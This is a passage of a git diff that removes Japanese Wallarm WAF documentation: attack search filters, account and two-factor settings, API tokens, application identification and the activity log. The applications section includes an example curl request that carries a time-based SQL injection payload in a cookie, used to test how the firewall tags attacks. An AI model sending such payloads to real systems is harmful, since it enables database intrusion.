[ファイルアップロード制限ポリシー](../../api-protection/file-upload-restriction.md)違反を検索します。 -* `graphql_attacks`: [組織のGraphQLポリシー](../../api-protection/graphql-rule.md)のすべての違反を検索します。さらに、特定の違反は次で検索できます: - * `gql_doc_size`: 許可されている合計クエリサイズの最大値の違反 - * `gql_value_size`: 許可されている値サイズの最大値の違反 - * `gql_depth`: 許可されているクエリ深度の最大値の違反 - * `gql_aliases`: 許可されているエイリアス数の最大値の違反 - * `gql_docs_per_batch`: 許可されているバッチクエリ数の最大値の違反 - * `gql_introspection`: 禁止されたイントロスペクションクエリ - * `gql_debug`: 禁止されたデバッグモードクエリ -* `api_specification`: [仕様に基づく](../../api-specification-enforcement/overview.md)すべての違反を検索します。さらに、特定の違反は次で検索できます: - * `undefined_endpoint`: 仕様に存在しないエンドポイントへのリクエスト試行 - * `undefined_parameter`: 指定のエンドポイントに仕様上存在しないパラメータを含むため攻撃と判定されたリクエスト - * `missing_parameter`: 仕様で必須とされたパラメータまたはその値が含まれていないため攻撃と判定されたリクエスト - * `invalid_parameter_value`: パラメータの値が仕様で定義された型/フォーマットに合致しないため攻撃と判定されたリクエスト - * `missing_auth`: 必要な認証方式に関する情報を含まないため攻撃と判定されたリクエスト - * `invalid_request`: 不正なJSONを含むため攻撃と判定されたリクエスト - * 補助検索タグ - `processing_overlimit`: API Specification Enforcementは、リクエストと仕様の突き合わせに制限を適用します。これらの制限を超えると処理を停止し、それを通知するイベントを作成します - * 参考: `spec:''`は[こちら](#search-by-specification) - -攻撃名は大文字・小文字のいずれでも指定できます。`SQLI`、`sqli`、`SQLi`はいずれも同等に正しいです。 - -### OWASP主要脅威に関連する攻撃の検索 - -OWASPの脅威タグを使用して、OWASP主要脅威に関連する攻撃を検索できます。検索形式は`owasp_api1_2023`です。 - -これらのタグは、OWASPが定義する脅威の元の番号付けに対応します。Wallarmは、2023年版のOWASP API Top脅威に攻撃を関連付けます。 - -### 既知の攻撃（CVEと著名なエクスプロイト）で検索 - -* `known`: CVE脆弱性やその他の著名な脆弱性タイプを悪用するため、明確に攻撃であるリクエストを検索します。 - - 特定のCVEまたは別の著名な脆弱性タイプで攻撃を絞り込むには、`known`タグに加えて、または別々に該当するタグを指定します。例: `known:CVE-2004-2402 CVE-2018-6008` または `CVE-2004-2402 CVE-2018-6008` は、[CVE-2004-2402](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2402) と [CVE-2018-6008](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6008) 脆弱性を悪用する攻撃を検索します。 -* `!known`: 潜在的な誤検知です。あまり知られていないエクスプロイトを含む、またはコンテキストによりエクスプロイトが正当なパラメータ値に見えるリクエストです。 - -CVEや著名なエクスプロイトで攻撃を絞り込むには、イベントタイプおよび**CVE and exploits**のQuick filtersを使用できます。 - -### APIプロトコル別にHitsを検索 - -APIプロトコルでHitsを絞り込むには、`proto:`または`protocol:`タグを使用します。 - -このタグでは次の値を使用できます: - -* `proto:graphql` -* `proto:grpc` -* `proto:websocket` -* `proto:rest` -* `proto:soap` -* `proto:xml-rpc` -* `proto:web-form` -* `proto:webdav` -* `proto:json-rpc` - -### 認証プロトコル別にHitsを検索 - -攻撃者が使用した認証プロトコルでHitsを絞り込むには、`auth:`タグを使用します。 - -このタグでは次の値を使用できます: - -* `auth:none` -* `auth:api-key` -* `auth:aws` -* `auth:basic` -* `auth:bearer` -* `auth:cookie` -* `auth:digest` -* `auth:hawk` -* `auth:jwt` -* `auth:ntlm` -* `auth:oauth1` -* `auth:oauth2` -* `auth:scram` - -### 攻撃対象で検索 - -検索文字列に指定します: - -* `client`: クライアントのデータに対する攻撃を検索します。 -* `database`: データベースに対する攻撃を検索します。 -* `server`: アプリケーションサーバーに対する攻撃を検索します。 - -### リスクレベルで検索 - -検索文字列にリスクレベルを指定します: - -* `low`: 低リスクレベル。 -* `medium`: 中リスクレベル。 -* `high`: 高リスクレベル。 - -### イベント時刻で検索 - -検索文字列に期間を指定します。期間を指定しない場合、直近24時間に発生したイベントが対象になります。 - -期間の指定方法は次のとおりです: - -* 日付で指定: `11/10/2020-11/14/2020` -* 日付と時刻で指定（秒は無視）: `11/10/2020 11:11`, `11:30-12:22`, `11/10/2020 11:12-01/14/2020 12:14` -* 特定の時点に対する相対指定: `>11/10/20` -* 文字列エイリアスを使用: - * `yesterday`: 昨日の日付 - * `today`: 今日の日付 - * `last `: 直前の単位の開始から現在までの期間 - - ``には`week`、`month`、`year`またはそれらの数値を使用できます。例: `last week`、`last 3 month`または`last 3 months`。 - - * `this `: 現在の単位 - - ``には`week`、`month`、`year`を使用できます。例: 今日が水曜日の場合、`this week`は今週の月曜・火曜・水曜に検出されたイベントを返します。 - -日付と時刻の形式は、[profile](../settings/account.md)で指定した設定に依存します: - -* **MDY**が選択されている場合はMM/DD/YYYY -* **DMY**が選択されている場合はDD/MM/YYYY -* **24‑hour**にチェックがある場合は`13:00` -* **24‑hour**にチェックがない場合は`1pm` - -月は数字と名称のいずれでも指定できます。1月なら`01`、`1`、`January`、`Jan`です。年は完全表記（`2020`）と短縮表記（`20`）のいずれでも指定できます。日付に年が指定されていない場合は、現在の年が使用されます。 - -### IPアドレスで検索 - -IPアドレスで検索するには、`ip:`プレフィックスを使用し、その後に次のいずれかを指定します -* 特定のIPアドレス（例: `192.168.0.1`）—この場合、そのIPアドレスに一致する攻撃元アドレスを持つすべての攻撃とインシデントが見つかります。 -* IPアドレス範囲を表す式。 -* 攻撃またはインシデントに関連するIPアドレスの総数。 - -#### IPアドレス範囲で検索 - -必要なIPアドレス範囲を設定するには、次を使用できます -* 明示的なIPアドレス範囲: - * `192.168.0.0-192.168.63.255` - * `10.0.0.0-10.255.255.255` -* IPアドレスの一部: - * `192.168.`—`192.168.0.0-192.168.255.255`と同等。`*`修飾子を用いた冗長形式`192.168.*`も使用可能です - * `192.168.0.`—`192.168.0.0-192.168.0.255`と同等 -* IPアドレスまたはその一部において、式の最後のオクテット内で値の範囲を指定: - * `192.168.1.0-255`—`192.168.1.0-192.168.1.255`と同等 - * `192.168.0-255`—`192.168.0.0-192.168.255.255`と同等 - - !!! warning "重要" - 1つのオクテット内で値の範囲を使用する場合、末尾にドットは付けません。 - -* サブネットプレフィックス（[CIDR表記](https://tools.ietf.org/html/rfc4632)）: - * `192.168.1.0/24`—`192.168.1.0-192.168.1.255`と同等 - * `192.168.0.0/17`—`192.168.0.1-192.168.127.255`と同等 - -!!! note - 上記のIPアドレス範囲の定義方法は組み合わせて使用できます。その場合は、必要な各範囲を`ip:`プレフィックス付きで個別に列挙します。 - - **例**: `ip:192.168.0.0/24 ip:10.10. ip:10.0.10.0-128` - -#### IPアドレス数で検索 - -攻撃またはインシデントに関連するIPアドレスの総数で検索できます（攻撃とインシデントのみ）: -* `ip:1000+ last month`—過去1か月において、一意のIPアドレス数が1000を超える攻撃とインシデントを検索します（`attacks incidents ip:1000+ last month`と同等）。 -* `xss ip:100+`—すべてのクロスサイトスクリプティング攻撃とインシデントを検索します。XSS攻撃タイプの攻撃元IPアドレス数が100未満の場合、検索結果は空になります。 -* `xss p:id ip:100+`—`id`パラメータ（`?id=aaa`）に関連するすべてのXSS攻撃とインシデントを検索します。異なるIPアドレスの数が100を超える場合にのみ結果が返されます。 - -### 攻撃元IPアドレスが属するデータセンターで検索 - -攻撃を発生させたIPアドレスが属するデータセンターで検索するには、`source:`プレフィックスを使用します。 - -この属性値には次を指定できます: - -* `tor` Torネットワーク -* `proxy` パブリックまたはWebプロキシサーバー -* `vpn` VPN -* `aws` Amazon -* `azure` Microsoft Azure -* `gce` Google Cloud Platform -* `ibm` IBM Cloud -* `alibaba` Alibaba Cloud -* `huawei` Huawei Cloud -* `rackspace` Rackspace Cloud -* `plusserver` PlusServer -* `hetzner` Hetzner -* `oracle` Oracle Cloud -* `ovh` OVHcloud -* `tencent` Tencent -* `linode` Linode -* `docean` Digital Ocean - -### IPアドレスが登録されている国または地域で検索 - -攻撃を発生させたIPアドレスが登録されている国または地域で検索するには、`country:`プレフィックスを使用します。 - -国/地域名は、標準[ISO 3166-1](https://en.wikipedia.org/wiki/ISO_3166-1)に対応する形式で大文字・小文字のいずれでも指定します。例: 中国からの攻撃の場合は`country:CN`または`country:cn`。 - -### 悪意のあることで知られるIPからのイベントを検索 - -Wallarmは、公知の悪意のある活動に関連付けられていると広く認識されているIPアドレスについて公開リソースをスキャンします。その後、この情報の正確性を検証し、これらのIPのdenylist登録など必要な対応を容易にします。 - -これらの悪意のあるIPアドレスから発生したイベントを検索するには、`source:malicious`タグを使用します。これはMalicious IPsを表し、denylistの「ソースタイプによるブロック」のセクションでも同名で表示されます。 - -このオブジェクトのデータは、以下のリソースの組み合わせから取得しています: - -* [Collective Intelligence Network Security](http://cinsscore.com/list/ci-badguys.txt) -* [Proofpoint Emerging Threats Rules](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* [DigitalSide Threat-Intel Repository](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) -* [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) -* [www.blocklist.de](https://www.blocklist.de/en/export.html) -* [NGINX ultimate bad bot blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) -* [IPsum](https://github.com/stamparm/ipsum) - -### サーバーレスポンスステータスで検索 - -サーバーレスポンスステータスで検索するには、`statuscode:`プレフィックスを指定します。 - -レスポンスステータスは次のように指定できます: -* 100から999までの数値 -* 「N–M」範囲（NとMは100から999までの数字） -* 「N+」および「N-」範囲（Nは100から999までの数字） - -### サーバーレスポンスサイズで検索 - -サーバーレスポンスサイズで検索するには、`s:`または`s ize:`プレフィックスを使用します。 - -任意の整数値で検索できます。999を超える数値はプレフィックスなしで指定できます。数値が999を超える場合でも「N–M」「N+」「N-」の範囲をプレフィックスなしで指定できます。 - -### HTTPリクエストメソッドで検索 - -HTTPリクエストメソッドで検索するには、`method:`プレフィックスを指定します。 - -`GET`、`POST`、`PUT`、`DELETE`、`OPTIONS`を検索する場合、大文字で指定すればプレフィックスなしで検索文字列を指定できます。それ以外の値についてはプレフィックスを指定してください。 - -### 攻撃/インシデント内のHits数で検索 - -攻撃やインシデントをHits数で検索するには、`N:`プレフィックスを指定します。 - -例えば、`attacks N:>100`で100Hitsを超える攻撃を検索できます。`attacks N:<10`で10Hits未満の攻撃を検索できます。 - -### ドメインで検索 - -ドメインで検索するには、`d:`または`domain:`プレフィックスを使用します。 - -第2レベル以上のドメインになり得る文字列は、プレフィックスなしで指定できます。任意の文字列はプレフィックス付きで指定できます。 - -ドメイン内ではマスクを使用できます。`*`は任意の長さの文字列、`?`は任意の1文字に一致します。 - -### パスで検索 - -パスで検索するには、次のいずれかを行います: - -* `u:`または`url:`プレフィックスを使用し、`/`で始まるパスを引用符で囲んで指定します（例: `url:"/api/users"`） -* プレフィックスなしで`/`から入力を開始します（例: `/api/users`） - -### アプリケーションで検索 - -攻撃が送信されたアプリケーションで検索するには、`application:`または`app:`プレフィックスを使用します（以前の`pool:`プレフィックスもサポートされていますが推奨しません）。 - -属性値は、**Settings**の**Applications**タブで設定されたアプリケーション名です。例: `application:'Example application'`。 - -### パラメータまたはパーサーで検索 - -パラメータまたはパーサーで検索するには、`p:`、`param:`、`parameter:`プレフィックス、または`=`サフィックスを使用します。サフィックスを使用する場合、`/`で始まらない文字列はパラメータと見なされます（末尾の`=`文字は値に含まれません）。 - -可能な属性値: - -* 対象となるパラメータ名。 - - 例えば、`xss`パラメータを狙った攻撃（例: GETパラメータに`xss`を含むSQLインジェクション攻撃）を見つけたいが、XSS攻撃そのものではない場合は、検索文字列に`attacks sqli p:xss`を指定します。 -* Wallarm nodeがパラメータ値を読み取るために使用した[パーサー](../rules/request-processing.md)名。名前は大文字で指定する必要があります。 - - 例: `attacks p:*BASE64`は、base64パーサーで解析された任意のパラメータを狙う攻撃を検索します。 -* パラメータとパーサーのシーケンス。 - - 例: `attacks p:"POST_JSON_DOC_HASH_from"`は、リクエストのJSONボディ内`from`パラメータで送られた攻撃を検索します。 - -値内ではマスクを使用できます。`*`は任意の長さの文字列、`?`は任意の1文字に一致します。 - -### イベントの異常を検索 - -イベントの異常を検索するには、`a:`または`anomaly:`プレフィックスを使用します。 - -異常検索を絞り込むには、次のパラメータを使用します: - -* `size` -* `statuscode` -* `time` -* `stamps` -* `impression` -* `vector` - -例: - -`attacks sqli a:size`は、リクエストのレスポンスサイズに異常があるすべてのSQLインジェクション攻撃を検索します。 - -### リクエスト識別子で検索 - -攻撃やインシデントをリクエスト識別子で検索するには、`request_id`プレフィックスを指定します。 -`request_id`パラメータの値形式は`a79199bcea606040cc79f913325401fb`です。読みやすくするため、以下の例ではこのパラメータを省略形のプレースホルダー``に置き換えています。 - -例: -* `attacks incidents request_id:`: `request_id`が``に等しい攻撃またはインシデントを検索します。 -* `attacks incidents !request_id:`: `request_id`が``に等しくない攻撃とインシデントを検索します。 -* `attacks incidents request_id`: 任意の`request_id`を持つ攻撃とインシデントを検索します。 -* `attacks incidents !request_id`: `request_id`を持たない攻撃とインシデントを検索します。 - -### サンプリングされたHitsを検索 - -[サンプリングされたHits](../events/grouping-sampling.md#sampling-of-hits)を検索するには、検索文字列に`sampled`を追加します。 - -### ノードUUIDで検索 - -特定のノードで検出された攻撃を検索するには、`node_uuid`プレフィックスに続けてノードUUIDを指定します。 - -例: - -* `attacks incidents today node_uuid:`: ``のノードで本日見つかったすべての攻撃とインシデントを検索します。 -* `attacks today !node_uuid:`: ``のノードを除く任意のノードで本日見つかったすべての攻撃を検索します。 - -!!! info "新しい攻撃のみを検索" - ノードUUIDで検索する場合、2023年5月31日以降に検出された攻撃のみが表示されます。 - -ノードUUIDは**Nodes**セクションの[node details](../../user-guides/nodes/nodes.md#viewing-details-of-a-node)で確認できます。UUIDをクリックするとコピーできます。または**View events from this node for the day**をクリックします（**Attacks**セクションに切り替わります）。 - - -### 仕様による検索 - -特定の[仕様ポリシー違反](../../api-specification-enforcement/overview.md)に関連するイベント一覧を取得するには、検索フィールドに`spec:''`を指定します。``を取得するには、**API Specifications**で対象の仕様を編集モードで開きます。ブラウザのアドレス欄に`specid`が表示されます。 - -![Specification - セキュリティポリシー適用に使用](../../images/api-specification-enforcement/api-specification-enforcement-events.png) - -設定されたポリシー違反時のアクションに応じて、ブロック済みイベントとモニターイベントが表示されます。イベントの詳細には、違反タイプと原因となった仕様へのリンクが表示されます。 - -### 正規表現ベースのカスタマールールで検索 - -[正規表現ベースのカスタマールール](../../user-guides/rules/regex-rule.md)で検出された攻撃一覧を取得するには、検索フィールドに`custom_rule`を指定します。 - -この種の攻撃の詳細には、対応するルールへのリンク（複数の場合あり）が表示されます。必要に応じてリンクをクリックしてルールの詳細を開き、編集できます。 - -![正規表現ベースのカスタマールールで検出された攻撃 - ルールの編集](../../images/user-guides/search-and-filters/detected-by-custom-rule.png) - -`!custom_rule`を使用すると、正規表現ベースのカスタマールールに関連しない攻撃の一覧を取得できます。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/account.md b/docs/latest-ja/user-guides/settings/account.md deleted file mode 100644 index c6b048cd24..0000000000 --- a/docs/latest-ja/user-guides/settings/account.md +++ /dev/null @@ -1,56 +0,0 @@ -[link-2fa-android-app]: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en -[link-2fa-ios-app]: https://apps.apple.com/app/google-authenticator/id388497605 - -[img-profile]: ../../images/user-guides/settings/profile.png -[img-2fa-page]: ../../images/user-guides/settings/2fa-page.png - -# プロファイルの確認 - -プロファイルのデータと設定を表示するには、**Settings** → **Profile**タブに移動します。 - -プロファイルでは、次のアカウント情報を確認できます： - -* Email -* 割り当てられた[ロール](users.md#user-roles) - **Admin**、**Analyst**、または**Read only** -* Nameとphone -* Wallarmシステムで使用する希望の日時形式 -* Security: 直近のパスワード変更と二要素認証の状態。SSO認証を使用している場合、一部の要素は利用できない場合があります。 -* Sign-in history - -Wallarmアカウントからログアウトするには、*Sign out*ボタンをクリックします。 - -![プロファイルの概要][img-profile] - -必要に応じて、同じページでアカウント情報を編集できます。 - -## パスワードの変更 - -!!! info "SSO使用時は利用不可" - SSO認証を使用している場合、メール/パスワード認証は利用できないため、パスワードを使用したり変更したりすることはできません。パスワード変更セクションは表示されません。 - -1. *Change*ボタンをクリックします。 -1. 表示されたフォームで、現在のパスワード、新しいパスワード、新しいパスワードの確認を入力します。 -1. *Change password*ボタンをクリックします。 - -## 二要素認証の有効化 - -二要素認証を有効にするには、Google Authenticator（またはTOTPに対応した同等のアプリ）を使用できます。 - -!!! info "SSO使用時は利用不可" - SSO認証を使用している場合は、二要素認証を有効にできません。**Two-factor authentication**セクションは表示されません。 - -1. Google Authenticatorアプリ（[Android][link-2fa-android-app], [iOS][link-2fa-ios-app]）または互換アプリをインストールします。 -1. **Two-Factor Authentication**設定で**Enable**をクリックします。 -1. 表示されたQRコードをスキャンします（または**manual entry**リンクをクリックし、手動入力オプションを使用します）。 -1. アプリで生成された6桁の確認コードを入力します。 -1. パスワードを入力します。 -1. **Confirm**をクリックします。 - -サインインのたびに、パスワードのプロンプトを通過した後に第2要素コードの入力が求められます。このコードはGoogle Authenticatorアプリから取得します。 - -二要素認証をオフにするにはパスワードが必要です。管理者が会社に対して[2FA強制モード](users.md#enforcing-for-all-users)を有効にしている場合、オフにすることはできません。 - -![二要素認証ページの概要][img-2fa-page] - -!!! info "互換性" - ワンタイムコードを生成するには、Time‑Based One‑Time Password Algorithm (RFC6238) に対応する任意のアプリケーションまたはデバイスを使用できます。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/api-tokens.md b/docs/latest-ja/user-guides/settings/api-tokens.md deleted file mode 100644 index 78756c5f0e..0000000000 --- a/docs/latest-ja/user-guides/settings/api-tokens.md +++ /dev/null @@ -1,79 +0,0 @@ -[user-roles-article]: ../../user-guides/settings/users.md#user-roles -[img-api-tokens-edit]: ../../images/api-tokens-edit.png - -# APIトークン - -Wallarm Console → **Settings** → **API tokens**では、[APIリクエストの認証](../../api/overview.md)や[フィルタリングノードのデプロイ](../../installation/supported-deployment-options.md)のためのトークンを管理できます。 - -WallarmのAPIトークンは柔軟な管理オプションを提供します。トークンの種類（パーソナルまたは共有）の選択、有効期限の設定、権限の指定ができます。 - -![Wallarm APIトークン][img-api-tokens-edit] - -## パーソナルトークンと共有トークン - -パーソナルまたは共有のAPIトークンを生成できます: - -* パーソナルトークンは、割り当てられた権限に従い個人による使用を目的としています。パーソナルトークンを作成・使用できるのは[Administrators and Analysts](users.md#user-roles)のみです。 - - パーソナルトークンの値は所有者のみがコピーして使用できます。ただし、Administratorsは会社アカウント内のユーザートークン一覧を閲覧できます。 -* 共有トークンは複数のユーザーやシステムでの利用を想定しています。個々のパーソナルアカウントに紐づけることなく、共同でリソースや機能にアクセスできます。 - - これらのトークンを生成できるのはAdministratorsとGlobal Administratorsのみで、使用できるのも会社内の他のAdministratorsのみです。 - -## トークンの使用範囲 - -選択した使用範囲によって、トークンをどのように、どこで使用できるかが制限されます: - -* Node deployment - [自己ホスト型Wallarm Nodeのデプロイ](../../installation/supported-deployment-options.md)またはアップグレード時にノードを認証するためのAPIトークンを生成する場合に使用します。 -* Wallarm API - このオプションを選ぶと、Wallarm APIへの認証付きリクエストにトークンを使用します。 -* Schema-Based Testing agent - [必須](../../vulnerability-detection/schema-based-testing/)で、[Schema-Based Testing](../../vulnerability-detection/schema-based-testing/setup.md#prerequisites-token)の動作に必要です。 - -## トークンの有効期限 - -各トークンに有効期限を設定できます。設定すると、指定日を過ぎた時点でトークンは無効化されます。 - -有効期限日の3日前にメール通知を送信します。期限が3日未満の短期トークンには通知は送信されません。 - -パーソナルトークンの場合は所有者に直接、共有トークンの場合はすべてのAdministratorsに通知が送られます。 - -## トークンの権限 - -各トークンには、ユーザーロールに紐づく権限の範囲を超えない範囲で権限を設定できます。 - -トークン権限は、定義済みのユーザーロールに基づいて割り当てるか、カスタマイズできます: - -* Administrator、Analyst、API Developer、Read Onlyおよび同等のGlobalロール - これらのロールのいずれかを割り当てたトークンは、[ユーザーロール体系](users.md#user-roles)に記載の権限を継承します。 -* Deploy - このロールを持つAPIトークンは、[Wallarmノードをデプロイ](../../installation/supported-deployment-options.md)するために使用します。 -* Custom permissions - 手動で権限を選択するモードに切り替えます。 - -パーソナルトークンの所有者の権限が縮小された場合、その所有者のトークンの権限もそれに応じて調整されます。 - -## トークンの無効化と再有効化 - -トークンは手動で無効化や有効化ができます。無効化すると、トークンは直ちに機能を停止します。 - -無効化されたトークンは、無効化から1週間後に自動的に削除されます。 - -以前に無効化したトークンを再有効化するには、新しい有効期限を設定してください。 - -トークンの所有者が[無効化される](../../user-guides/settings/users.md#disabling-and-deleting-users)と、その所有者のトークンも自動的に無効化されます。 - -## 後方互換トークン - -以前はリクエストの認証にUUIDとシークレットキーを使用していましたが、現在はトークンに置き換えられています。ご使用のUUIDとシークレットキーは自動的に**後方互換**トークンへと変換されます。このトークンを使用すると、UUIDとシークレットキーで認証されたリクエストは引き続き動作します。 - -!!! warning "トークンの更新またはSSOの有効化" - 後方互換トークンの値を更新するか、このトークンの所有者に対して[SSO](../../admin-en/configuration-guides/sso/intro.md)を有効化すると、後方互換性は終了し、旧UUIDとシークレットキーで認証されたすべてのリクエストは動作しなくなります。 - -後方互換トークンの生成された値は、リクエストのヘッダーパラメータ`X-WallarmApi-Token`として渡して使用することもできます。 - -後方互換トークンの権限はユーザーロールと同一で、これらの権限はトークンのウィンドウには表示されず、変更できません。権限を制御したい場合は、後方互換トークンを削除して新しいトークンを作成してください。 - -## APIトークンとノードトークン - -本記事で説明したAPIトークンは、任意のクライアントから任意の権限セットでWallarm Cloud APIの[リクエスト認証](../../api/overview.md)に使用できます。 - -Wallarm Cloud APIにアクセスするクライアントの1つはWallarm filtering node自身です。Wallarm CloudのAPIへのアクセスをWallarm filtering nodeに付与するには、APIトークンに加えてノードトークンも使用できます。[違いとどちらを使うべきか→](../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation) - -!!! info "一部のデプロイオプションではAPIトークンはサポートされません" - APIトークンは現在、[Terraform module](../../installation/cloud-platforms/aws/terraform-module/overview.md)に基づくAWSデプロイでは使用できません。代わりにノードトークンを使用してください。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/applications.md b/docs/latest-ja/user-guides/settings/applications.md deleted file mode 100644 index a3818fc2fd..0000000000 --- a/docs/latest-ja/user-guides/settings/applications.md +++ /dev/null @@ -1,126 +0,0 @@ -# アプリケーションの設定 - -会社に複数のアプリケーションがある場合、会社全体のトラフィック統計だけでなく、各アプリケーションごとの統計を個別に閲覧できると便利です。アプリケーションごとにトラフィックを分離するには、Wallarmシステムの「アプリケーション」エンティティを使用できます。 - -アプリケーションを使用すると、次のことが可能です。 - -* 各アプリケーションごとのイベントと統計を[閲覧](#viewing-events-and-statistics-by-application)する -* 特定のアプリケーション向けにトリガー、ルール、その他のWallarm機能を[構成](#configuring-wallarm-features-by-application)する -* 環境（本番、テストなど）を個別のアプリケーションとして扱う - - !!! info "環境の分離" - アプリケーションとして管理される環境は、現在のWallarmアカウントのすべてのユーザーがアクセスできます。特定のユーザーのみにアクセスを制限したい場合は、アプリケーションではなく[multitenancy](../../installation/multi-tenant/overview.md)機能を使用してください。 - -Wallarmがアプリケーションを識別できるようにするには、ノードの設定で適切なディレクティブを使って各アプリケーションに一意の識別子を割り当てる必要があります。識別子はアプリケーションのドメインにもドメインパスにも設定できます。 - -デフォルトでは、Wallarmは各アプリケーションを識別子（ID）`-1`の`default`アプリケーションとして扱います。 - -## アプリケーションの追加 - -1. （任意）Wallarm Console → **Settings** → **Applications**でアプリケーションを追加します。 - - ![アプリケーションを追加する](../../images/user-guides/settings/configure-app.png) - - !!! warning "管理者アクセス" - ロールが**Administrator**のユーザーのみが**Settings** → **Applications**セクションにアクセスできます。 -2. ノードの設定で次のいずれかの方法により、アプリケーションに一意のIDを割り当てます。 - - * WallarmがNGINXモジュール、クラウドマーケットプレイスイメージ、設定ファイルをマウントしたNGINXベースのDockerコンテナ、サイドカーコンテナとしてインストールされている場合は、ディレクティブ[`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application)を使用します。 - * WallarmがNGINXベースのDockerコンテナとしてインストールされている場合は、[環境変数](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables)`WALLARM_APPLICATION`を使用します。 - * WallarmがIngressコントローラーとしてインストールされている場合は、[Ingress annotation](../../admin-en/configure-kubernetes-en.md#ingress-annotations)`wallarm-application`を使用します。 - * Native Nodeのall-in-oneインストーラー、Dockerイメージ、AWS AMIの場合は、[`route_config.wallarm_application`](../../installation/native-node/all-in-one-conf.md#route_configwallarm_application)パラメータを使用します。 - * Native NodeのHelm chartの場合は、[`config.connector.route_config.wallarm_application`](../../installation/native-node/helm-chart-conf.md#configconnectorroute_configwallarm_application)パラメータを使用します。 - * Edgeのインラインまたはコネクタのセットアップウィンドウでアプリケーションを設定します。 - - 値は`0`を除く正の整数に設定できます。 - - 指定したIDのアプリケーションがWallarm Console → **Settings** → **Applications**に追加されていない場合、自動的に一覧に追加されます。アプリケーション名は指定した識別子に基づいて自動生成されます（例: IDが`-1`のアプリケーションは`Application #1`）。名前は後でWallarm Consoleから変更できます。 - -アプリケーションが正しく構成されている場合、そのアプリケーションを対象とした攻撃の詳細にアプリケーション名が表示されます。アプリケーションの構成をテストするには、アプリケーションのアドレスに[テスト攻撃](../../admin-en/uat-checklist-en.md#node-registers-attacks)を送信できます。 - -## アプリケーションの自動識別 - -次の基準に基づいてアプリケーションの自動識別を構成できます。 - -* 特定のリクエストヘッダー -* NGINXの`map`ディレクティブを使用した特定のリクエストヘッダーまたはURLの一部 - -!!! info "NGINXのみ" - ここで説明する方法は、NGINXベースのセルフホスト型ノードのデプロイにのみ適用されます。 - -### 特定のリクエストヘッダーに基づくアプリケーション識別 - -この方法は次の2ステップで構成します。 - -1. 各リクエストにアプリケーションIDを含むヘッダーが追加されるようにネットワークを構成します。 -1. このヘッダーの値を`wallarm_application`ディレクティブの値として使用します。以下の例を参照してください。 - -NGINX設定ファイルの例: - -``` -server { - listen 80; - server_name example.com; - wallarm_mode block; - wallarm_application $http_custom_id; - - location / { - proxy_pass http://upstream1:8080; - } -} -``` - -攻撃リクエストの例: - -``` -curl -H "Cookie: SESSID='UNION SELECT SLEEP(5)-- -" -H "CUSTOM-ID: 222" http://example.com -``` - -このリクエストは次のように処理されます。 - -* 攻撃と見なされ、**Attacks**セクションに追加されます。 -* IDが`222`のアプリケーションに関連付けられます。 -* 該当するアプリケーションが存在しない場合、**Settings** → **Applications**に追加され、自動的に`Application #222`という名前が付けられます。 - -![ヘッダーに基づくアプリケーションの追加](../../images/user-guides/settings/configure-app-auto-header.png) - -### NGINXの`map`ディレクティブを使用し、特定のリクエストヘッダーまたはURLの一部に基づくアプリケーション識別 - -NGINXの`map`ディレクティブを使用して、特定のリクエストヘッダーやエンドポイントURLの一部に基づきアプリケーションを追加できます。ディレクティブの詳細はNGINXの[ドキュメント](https://nginx.org/en/docs/http/ngx_http_map_module.html#map)を参照してください。 - -## アプリケーション別のイベントと統計の表示 - -アプリケーションを設定したら、次の内容をアプリケーションごとに個別に表示できます。 - -* 関心のあるアプリケーションだけの[Attacks](../../user-guides/events/check-attack.md)と[incidents](../../user-guides/events/check-incident.md) -* 関心のあるアプリケーションだけに関連する[API sessions](../../api-sessions/overview.md) -* 関心のあるアプリケーションだけに関連する[dashboards](../../user-guides/dashboards/threat-prevention.md)の統計 - -
        - -
        - -
        -
        - -## アプリケーション別のWallarm機能の設定 - -アプリケーションを設定したら、次のWallarm保護機能をアプリケーションごとに個別に構成できます。 - -* [Rules](../rules/rules.md#conditions) -* [Triggers](../triggers/triggers.md#understanding-filters) -* [IP lists](../ip-lists/overview.md#limit-by-target-application) -* [API Abuse Prevention](../../api-abuse-prevention/setup.md#creating-profiles) - -
        - -
        - -
        -
        - -Wallarmの機能をアプリケーションに割り当てることは、それらの機能を適用する条件を指定し、インフラストラクチャの各部分に対して設定を差別化する最も簡単な方法です。 - -## アプリケーションの削除 - -Wallarmシステムからアプリケーションを削除するには、ノードの設定ファイルから該当するディレクティブを削除します。**Settings** → **Applications**セクションからのみアプリケーションを削除した場合は、一覧に復元されます。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/audit-log.md b/docs/latest-ja/user-guides/settings/audit-log.md deleted file mode 100644 index dcd43c9ce5..0000000000 --- a/docs/latest-ja/user-guides/settings/audit-log.md +++ /dev/null @@ -1,33 +0,0 @@ -# ユーザーアクティビティログ - -Wallarm Consoleの**Settings** → **Activity log**タブでは、Wallarmシステム内でのユーザー操作の履歴を確認できます。ログには、次のオブジェクトの作成、更新、削除に関する情報が含まれます： - -* ネットワークペリメータのドメイン -* ネットワークペリメータのサービス（ポート） -* ネットワークペリメータのドメインおよび関連付けられたIPアドレス -* [二要素認証](account.md#enabling-two-factor-authentication) -* [APIトークン](api-tokens.md) -* [ユーザー](users.md) -* トラフィック処理[ルール](../rules/rules.md) -* [カスタムルールセットのバックアップ](../rules/rules.md#backup-and-restore) -* [Wallarmノード](../nodes/nodes.md) -* [トリガー](../triggers/triggers.md) -* [インテグレーション](integrations/integrations-intro.md) -* [ブロックされたIPアドレス](../ip-lists/overview.md) -* [Hitのサンプリング](../events/grouping-sampling.md#sampling-of-hits) - -また、ログには次のアクションやオブジェクトに関する情報も含まれます： - -* [誤検知としてマークされた脆弱性](../vulnerabilities.md#vulnerability-lifecycle) -* [再確認された攻撃](../../vulnerability-detection/threat-replay-testing/overview.md) - -![Activity 